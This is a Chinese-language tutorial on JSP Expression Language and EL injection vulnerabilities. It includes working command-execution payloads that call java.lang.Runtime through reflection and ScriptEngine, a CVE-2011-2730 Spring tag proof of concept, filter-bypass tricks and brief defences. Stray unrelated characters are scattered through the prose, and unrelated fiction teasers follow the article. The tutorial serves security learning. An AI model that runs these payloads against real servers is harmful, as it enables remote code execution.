淺析EL表達式注入漏洞

0x01 EL簡介

EL(Expression Language) 是為了使JSP寫起來更加簡單。表達式語言的靈感來自于 ECMAScript 和 XPath 表達式語言寝杖,它提供了在 JSP 中簡化表達式的方法型豁,讓Jsp的代碼更加簡化僵蛛。

EL表達式主要功能如下:

獲取數(shù)據(jù):EL表達式主要用于替換JSP頁面中的腳本表達式尚蝌,以從各種類型的Web域中檢索Java對象、獲取數(shù)據(jù)(某個Web域中的對象充尉,訪問JavaBean的屬性飘言、訪問List集合、訪問Map集合驼侠、訪問數(shù)組)姿鸿;

執(zhí)行運算:利用EL表達式可以在JSP頁面中執(zhí)行一些基本的關(guān)系運算、邏輯運算和算術(shù)運算泪电,以在JSP頁面中完成一些簡單的邏輯運算般妙,例如${user==null}纪铺;

獲取Web開發(fā)常用對象:EL表達式定義了一些隱式對象相速,利用這些隱式對象,Web開發(fā)人員可以很輕松獲得對Web常用對象的引用鲜锚,從而獲得這些對象中的數(shù)據(jù)突诬;

調(diào)用Java方法:EL表達式允許用戶開發(fā)自定義EL函數(shù),以在JSP頁面中通過EL表達式調(diào)用Java類的方法芜繁;

0x02 基本語法

EL語法

在JSP中訪問模型對象是通過EL表達式的語法來表達旺隙。所有EL表達式的格式都是以${}表示。例如骏令,${ userinfo}代表獲取變量userinfo的值蔬捷。當EL表達式中的變量不給定范圍時,則默認在page范圍查找榔袋,然后依次在request周拐、session、application范圍查找凰兑。也可以用范圍作為前綴表示屬于哪個范圍的變量妥粟,例如:${ pageScope. userinfo}表示訪問page范圍中的userinfo變量。

簡單地說吏够,使用EL表達式語法:${EL表達式}

其中勾给,EL表達式和JSP代碼等價轉(zhuǎn)換。事實上锅知,可以將EL表達式理解為一種簡化的JSP代碼播急。

擴展JSP代碼的寫法總結(jié):

JSP表達式:<%=變量或表達式>

向瀏覽器輸出變量或表達式的計算結(jié)果。

JSP腳本:<%Java代碼%>

執(zhí)行java代碼的原理:翻譯到_jspService()方法中售睹。

JSP聲明:<%!變量或方法%>

聲明jsp的成員變量或成員方法旅择。

JSP注釋:<%!--JSP注釋--%>

用于注釋JSP代碼,不會翻譯到Java文件中侣姆,也不會執(zhí)行生真。

[ ]與.運算符

EL表達式提供.和[]兩種運算符來存取數(shù)據(jù)沉噩。

當要存取的屬性名稱中包含一些特殊字符,如.或-等并非字母或數(shù)字的符號柱蟀,就一定要使用[]川蒙。例如:${user.My-Name}應(yīng)當改為${user["My-Name"]}。

如果要動態(tài)取值時长已,就可以用[]來做畜眨,而.無法做到動態(tài)取值。例如:${sessionScope.user[data]}中data 是一個變量术瓮。

變量

EL表達式存取變量數(shù)據(jù)的方法很簡單康聂,例如:${username}。它的意思是取出某一范圍中名稱為username的變量胞四。因為我們并沒有指定哪一個范圍的username恬汁,所以它會依序從Page、Request辜伟、Session氓侧、Application范圍查找。假如途中找到username导狡,就直接回傳约巷,不再繼續(xù)找下去,但是假如全部的范圍都沒有找到時旱捧,就回傳""独郎。EL表達式的屬性如下:

屬性范圍在EL中的名稱

PagePageScope

RequestRequestScope

SessionSessionScope

ApplicationApplicationScope

JSP表達式語言定義可在表達式中使用的以下文字:

文字文字的值

Booleantrue 和 false

Integer與 Java 類似∶渡模可以包含任何整數(shù)氓癌,例如 24、-45标锄、567

Floating Point與 Java 類似顽铸。可以包含任何正的或負的浮點數(shù)料皇,例如 -1.8E-45谓松、4.567

String任何由單引號或雙引號限定的字符串。對于單引號践剂、雙引號和反斜杠鬼譬,使用反斜杠字符作為轉(zhuǎn)義序列。必須注意逊脯,如果在字符串兩端使用雙引號优质,則單引號不需要轉(zhuǎn)義。

Nullnull

操作符

JSP表達式語言提供以下操作符,其中大部分是Java中常用的操作符:

術(shù)語定義

算術(shù)型+巩螃、-(二元)演怎、*、/避乏、div爷耀、%、mod拍皮、-(一元)

邏輯型and歹叮、&&、or铆帽、雙管道符咆耿、!、not

關(guān)系型==爹橱、eq萨螺、!=、ne宅荤、<屑迂、lt浸策、>冯键、gt、<=庸汗、le惫确、>=、ge蚯舱「幕可以與其他值進行比較,或與布爾型枉昏、字符串型陈肛、整型或浮點型文字進行比較。

空empty 空操作符是前綴操作兄裂,可用于確定值是否為空句旱。

條件型A ?B :C。根據(jù) A 賦值的結(jié)果來賦值 B 或 C晰奖。

隱式對象

JSP表達式語言定義了一組隱式對象谈撒,其中許多對象在 JSP scriplet 和表達式中可用:

術(shù)語定義

pageContextJSP頁的上下文,可以用于訪問 JSP 隱式對象匾南,如請求啃匿、響應(yīng)、會話、輸出溯乒、servletContext 等夹厌。例如,${pageContext.response}為頁面的響應(yīng)對象賦值裆悄。

此外尊流,還提供幾個隱式對象,允許對以下對象進行簡易訪問:

術(shù)語定義

param將請求參數(shù)名稱映射到單個字符串參數(shù)值(通過調(diào)用 ServletRequest.getParameter (String name) 獲得)灯帮。getParameter (String) 方法返回帶有特定名稱的參數(shù)崖技。表達式${param . name}相當于 request.getParameter (name)。

paramValues將請求參數(shù)名稱映射到一個數(shù)值數(shù)組(通過調(diào)用 ServletRequest.getParameter (String name) 獲得)钟哥。它與 param 隱式對象非常類似迎献,但它檢索一個字符串數(shù)組而不是單個值。表達式?${paramvalues. name}?相當于 request.getParamterValues(name)腻贰。

header將請求頭名稱映射到單個字符串頭值(通過調(diào)用 ServletRequest.getHeader(String name) 獲得)吁恍。表達式?${header. name}相當于 request.getHeader(name)。

headerValues將請求頭名稱映射到一個數(shù)值數(shù)組(通過調(diào)用 ServletRequest.getHeaders(String) 獲得)播演。它與頭隱式對象非常類似冀瓦。表達式${headerValues. name}相當于 request.getHeaderValues(name)。

cookie將 cookie 名稱映射到單個 cookie 對象写烤。向服務(wù)器發(fā)出的客戶端請求可以獲得一個或多個 cookie翼闽。表達式${cookie. name .value}返回帶有特定名稱的第一個 cookie 值。如果請求包含多個同名的 cookie洲炊,則應(yīng)該使用${headerValues. name}表達式感局。

initParam將上下文初始化參數(shù)名稱映射到單個值(通過調(diào)用 ServletContext.getInitparameter(String name) 獲得)。

除了上述兩種類型的隱式對象之外暂衡,還有些對象允許訪問多種范圍的變量询微,如 Web 上下文、會話狂巢、請求撑毛、頁面:

術(shù)語定義

pageScope將頁面范圍的變量名稱映射到其值。例如唧领,EL 表達式可以使用${pageScope.objectName}訪問一個 JSP 中頁面范圍的對象藻雌,還可以使用${pageScope .objectName. attributeName}訪問對象的屬性。

requestScope將請求范圍的變量名稱映射到其值疹吃。該對象允許訪問請求對象的屬性蹦疑。例如,EL 表達式可以使用${requestScope. objectName}訪問一個 JSP 請求范圍的對象萨驶,還可以使用${requestScope. objectName. attributeName}訪問對象的屬性歉摧。

sessionScope將會話范圍的變量名稱映射到其值。該對象允許訪問會話對象的屬性。例如:${sessionScope. name}

applicationScope將應(yīng)用程序范圍的變量名稱映射到其值叁温。該隱式對象允許訪問應(yīng)用程序范圍的對象再悼。

pageContext對象

pageContext對象是JSP中pageContext對象的引用。通過pageContext對象膝但,您可以訪問request對象冲九。比如,訪問request對象傳入的查詢字符串跟束,就像這樣:

${pageContext.request.queryString}

Scope對象

pageScope莺奸,requestScope,sessionScope冀宴,applicationScope變量用來訪問存儲在各個作用域?qū)哟蔚淖兞俊?/p>

舉例來說灭贷,如果您需要顯式訪問在applicationScope層的box變量,可以這樣來訪問:applicationScope.box略贮。

<%pageContext.setAttribute("name","mi1k7ea_page");request.setAttribute("name","mi1k7ea_request");session.setAttribute("user","mi1k7ea_session");application.setAttribute("user","mi1k7ea_application");%>pageScope.name:${pageScope.name}</br>requestScope.name : ${requestScope.name}</br>sessionScope.user : ${sessionScope.user}</br>applicationScope.user : ${applicationScope.user}

param和paramValues對象

param和paramValues對象用來訪問參數(shù)值甚疟,通過使用request.getParameter方法和request.getParameterValues方法。

舉例來說逃延,訪問一個名為order的參數(shù)览妖,可以這樣使用表達式:${param.order},或者${param["order"]}揽祥。

接下來的例子表明了如何訪問request中的username參數(shù):

<%@pageimport="java.io.*,java.util.*"%><%Stringtitle="Accessing Request Param";%><html><head><title><%out.print(title);%></title></head><body><center><h1><%out.print(title);%></h1></center><divalign="center"><p>${param["username"]}</p></div></body></html>

param對象返回單一的字符串讽膏,而paramValues對象則返回一個字符串數(shù)組。

header和headerValues對象

header和headerValues對象用來訪問信息頭盔然,通過使用request.getHeader()方法和request.getHeaders()方法桅打。

舉例來說是嗜,要訪問一個名為user-agent的信息頭愈案,可以這樣使用表達式:${header.user-agent},或者${header["user-agent"]}鹅搪。

接下來的例子表明了如何訪問user-agent信息頭:

<%@pageimport="java.io.*,java.util.*"%><%Stringtitle="User Agent Example";%><html><head><title><%out.print(title);%></title></head><body><center><h1><%out.print(title);%></h1></center><divalign="center"><p>${header["user-agent"]}</p></div></body></html>

運行結(jié)果如下:

header對象返回單一值站绪,而headerValues則返回一個字符串數(shù)組。

EL中的函數(shù)

EL允許您在表達式中使用函數(shù)丽柿。這些函數(shù)必須被定義在自定義標簽庫中恢准。函數(shù)的使用語法如下:

${ns:func(param1, param2, ...)}

ns指的是命名空間(namespace),func指的是函數(shù)的名稱甫题,param1指的是第一個參數(shù)馁筐,param2指的是第二個參數(shù),以此類推坠非。比如敏沉,有函數(shù)fn:length,在JSTL庫中定義,可以像下面這樣來獲取一個字符串的長度:

${fn:length("Get my length")}

要使用任何標簽庫中的函數(shù)盟迟,您需要將這些庫安裝在服務(wù)器中秋泳,然后使用<taglib>標簽在JSP文件中包含這些庫。

EL表達式調(diào)用Java方法

看個例子即可攒菠。

先新建一個ELFunc類迫皱,其中定義的doSomething()函數(shù)用于給輸入的參數(shù)字符拼接".com"形成域名返回:

packageeltest;publicclassELFunc{publicstaticStringdoSomething(Stringstr){returnstr+".com";}}

接著在WEB-INF文件夾下(除lib和classess目錄外)新建test.tld文件,其中指定執(zhí)行的Java方法及其URI地址:

<?xml version="1.0" encoding="UTF-8"?><taglibversion="2.0"xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"><tlib-version>1.0</tlib-version><short-name>ELFunc</short-name><uri>http://www.mi1k7ea.com/ELFunc</uri><function><name>doSomething</name><function-class>eltest.ELFunc</function-class><function-signature>java.lang.String doSomething(java.lang.String)</function-signature></function></taglib>

JSP文件中辖众,先頭部導(dǎo)入taglib標簽庫卓起,URI為test.tld中設(shè)置的URI地址,prefix為test.tld中設(shè)置的short-name凹炸,然后直接在EL表達式中使用類名:方法名()的形式來調(diào)用該類方法即可:

<%@tagliburi="http://www.mi1k7ea.com/ELFunc"prefix="ELFunc"%>${ELFunc:doSomething("mi1k7ea")}

0x03 JSP中啟動/禁用EL表達式

全局禁用EL表達式

web.xml中進入如下配置:

<jsp-config><jsp-property-group><url-pattern>*.jsp</url-pattern><el-ignored>true</el-ignored></jsp-property-group></jsp-config>

單個文件禁用EL表達式

在JSP文件中可以有如下定義:

<%@pageisELIgnored="true"%>

該語句表示是否禁用EL表達式既绩,TRUE表示禁止,F(xiàn)ALSE表示不禁止还惠。

JSP2.0中默認的啟用EL表達式饲握。

例如如下的JSP代碼禁用EL表達式:

<%@pageisELIgnored="true"%>${pageContext.request.queryString}

0x04 EL表達式注入漏洞

EL表達式注入漏洞和SpEL、OGNL等表達式注入漏洞是一樣的漏洞原理的蚕键,即表達式外部可控導(dǎo)致攻擊者注入惡意表達式實現(xiàn)任意代碼執(zhí)行救欧。

一般的,EL表達式注入漏洞的外部可控點入口都是在Java程序代碼中锣光,即Java程序中的EL表達式內(nèi)容全部或部分是從外部獲取的笆怠。

通用PoC

//對應(yīng)于JSP頁面中的pageContext對象(注意:取的是pageContext對象)

${pageContext}

//獲取Web路徑

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件頭參數(shù)

${header}

//獲取webRoot

${applicationScope}

//執(zhí)行命令

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

比如我們在Java程序中可以控制輸入EL表達式如下:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

如果該EL表達式直接在JSP頁面中執(zhí)行,則觸發(fā)任意代碼執(zhí)行漏洞:

但是在實際場景中誊爹,是幾乎沒有也無法直接從外部控制JSP頁面中的EL表達式的蹬刷。而目前已知的EL表達式注入漏洞都是框架層面服務(wù)端執(zhí)行的EL表達式外部可控導(dǎo)致的。

CVE-2011-2730

命令執(zhí)行PoC如下:

<spring:messagetext="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"></spring:message>

再比如:

<%@tagliburi="http://www.springframework.org/tags"prefix="spring"%><spring:messagetext="${param.a}"></spring:message>

訪問http://localhost/XXX.jsp?a=$](https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%2FXXX.jsp%3Fa%3D%24){applicationScope}频丘。

容器第一次執(zhí)行EL表達式${param.a}獲得了我們輸入的${applicationScope}办成,然后Spring標簽獲取容器的EL表達式求值對象,把${applicationScope}再次執(zhí)行掉搂漠,形成了漏洞迂卢。

Wooyun案例

參考Wooyun鏡像上的案例:

搜狗某系統(tǒng)存在遠程EL表達式注入漏洞(命令執(zhí)行)

工商銀行某系統(tǒng)存在遠程EL表達式注入漏洞(命令執(zhí)行)

JUEL示例

下面我們直接看下在Java代碼中EL表達式注入的場景是怎么樣的。

EL曾經(jīng)是JSTL的一部分桐汤。然后而克,EL進入了JSP 2.0標準。現(xiàn)在怔毛,盡管是JSP 2.1的一部分员萍,但EL API已被分離到包javax.el中, 并且已刪除了對核心JSP類的所有依賴關(guān)系拣度。換句話說:EL已準備好在非JSP應(yīng)用程序中使用碎绎!

也就是說蜂莉,現(xiàn)在EL表達式所依賴的包javax.el等都在JUEL相關(guān)的jar包中。

JUEL(Java Unified Expression Language)是統(tǒng)一表達語言輕量而高效級的實現(xiàn)混卵,具有高性能映穗,插件式緩存,小體積幕随,支持方法調(diào)用和多參數(shù)調(diào)用蚁滋,可插拔多種特性。

更多參考官網(wǎng):http://juel.sourceforge.net/

需要的jar包:juel-api-2.2.7赘淮、juel-spi-2.2.7辕录、juel-impl-2.2.7。

Test.java梢卸,利用反射調(diào)用Runtime類方法實現(xiàn)命令執(zhí)行:

importde.odysseus.el.ExpressionFactoryImpl;importde.odysseus.el.util.SimpleContext;importjavax.el.ExpressionFactory;importjavax.el.ValueExpression;publicclassTest{publicstaticvoidmain(String[]args){ExpressionFactoryexpressionFactory=newExpressionFactoryImpl();SimpleContextsimpleContext=newSimpleContext();// failed// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";// okStringexp="${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";ValueExpressionvalueExpression=expressionFactory.createValueExpression(simpleContext,exp,String.class);System.out.println(valueExpression.getValue(simpleContext));}}

運行即觸發(fā):

0x05 繞過方法

這里針對前面在Java代碼中注入EL表達式的例子來演示走诞。其實繞過方法和SpEL表達式注入是一樣的。

利用反射機制繞過

即前面Demo的PoC蛤高,注意一點的就是這里不支持用字符串拼接的方式繞過關(guān)鍵字過濾蚣旱。

利用ScriptEngine調(diào)用JS引擎繞過

同SpEL注入中講到的:

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

0x06 防御方法

盡量不使用外部輸入的內(nèi)容作為EL表達式內(nèi)容;

若使用戴陡,則嚴格過濾EL表達式注入漏洞的payload關(guān)鍵字塞绿;

如果是排查Java程序中JUEL相關(guān)代碼,則搜索如下關(guān)鍵類方法:

javax.el.ExpressionFactory.createValueExpression()

javax.el.ValueExpression.getValue()

0x07 參考

JSP 表達式語言

EL表達式調(diào)用java方法

JAVA WEB EL表達式注入

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末恤批,一起剝皮案震驚了整個濱河市异吻,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌喜庞,老刑警劉巖诀浪,帶你破解...
    沈念sama閱讀 206,126評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異延都,居然都是意外死亡雷猪,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評論 2 382
  • 文/潘曉璐 我一進店門窄潭,熙熙樓的掌柜王于貴愁眉苦臉地迎上來春宣,“玉大人,你說我怎么就攤上這事嫉你。” “怎么了躏惋?”我有些...
    開封第一講書人閱讀 152,445評論 0 341
  • 文/不壞的土叔 我叫張陵幽污,是天一觀的道長。 經(jīng)常有香客問我簿姨,道長距误,這世上最難降的妖魔是什么簸搞? 我笑而不...
    開封第一講書人閱讀 55,185評論 1 278
  • 正文 為了忘掉前任,我火速辦了婚禮准潭,結(jié)果婚禮上趁俊,老公的妹妹穿的比我還像新娘。我一直安慰自己刑然,他們只是感情好寺擂,可當我...
    茶點故事閱讀 64,178評論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著泼掠,像睡著了一般怔软。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上择镇,一...
    開封第一講書人閱讀 48,970評論 1 284
  • 那天挡逼,我揣著相機與錄音,去河邊找鬼腻豌。 笑死家坎,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的吝梅。 我是一名探鬼主播乘盖,決...
    沈念sama閱讀 38,276評論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼憔涉!你這毒婦竟也來了订框?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,927評論 0 259
  • 序言:老撾萬榮一對情侶失蹤兜叨,失蹤者是張志新(化名)和其女友劉穎穿扳,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體国旷,經(jīng)...
    沈念sama閱讀 43,400評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡矛物,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,883評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了跪但。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片履羞。...
    茶點故事閱讀 37,997評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖屡久,靈堂內(nèi)的尸體忽然破棺而出忆首,到底是詐尸還是另有隱情,我是刑警寧澤被环,帶...
    沈念sama閱讀 33,646評論 4 322
  • 正文 年R本政府宣布糙及,位于F島的核電站,受9級特大地震影響筛欢,放射性物質(zhì)發(fā)生泄漏浸锨。R本人自食惡果不足惜唇聘,卻給世界環(huán)境...
    茶點故事閱讀 39,213評論 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望柱搜。 院中可真熱鬧迟郎,春花似錦、人聲如沸聪蘸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,204評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽宇姚。三九已至匈庭,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間浑劳,已是汗流浹背阱持。 一陣腳步聲響...
    開封第一講書人閱讀 31,423評論 1 260
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留魔熏,地道東北人衷咽。 一個月前我還...
    沈念sama閱讀 45,423評論 2 352
  • 正文 我出身青樓,卻偏偏與公主長得像蒜绽,于是被迫代替她去往敵國和親镶骗。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 42,722評論 2 345

推薦閱讀更多精彩內(nèi)容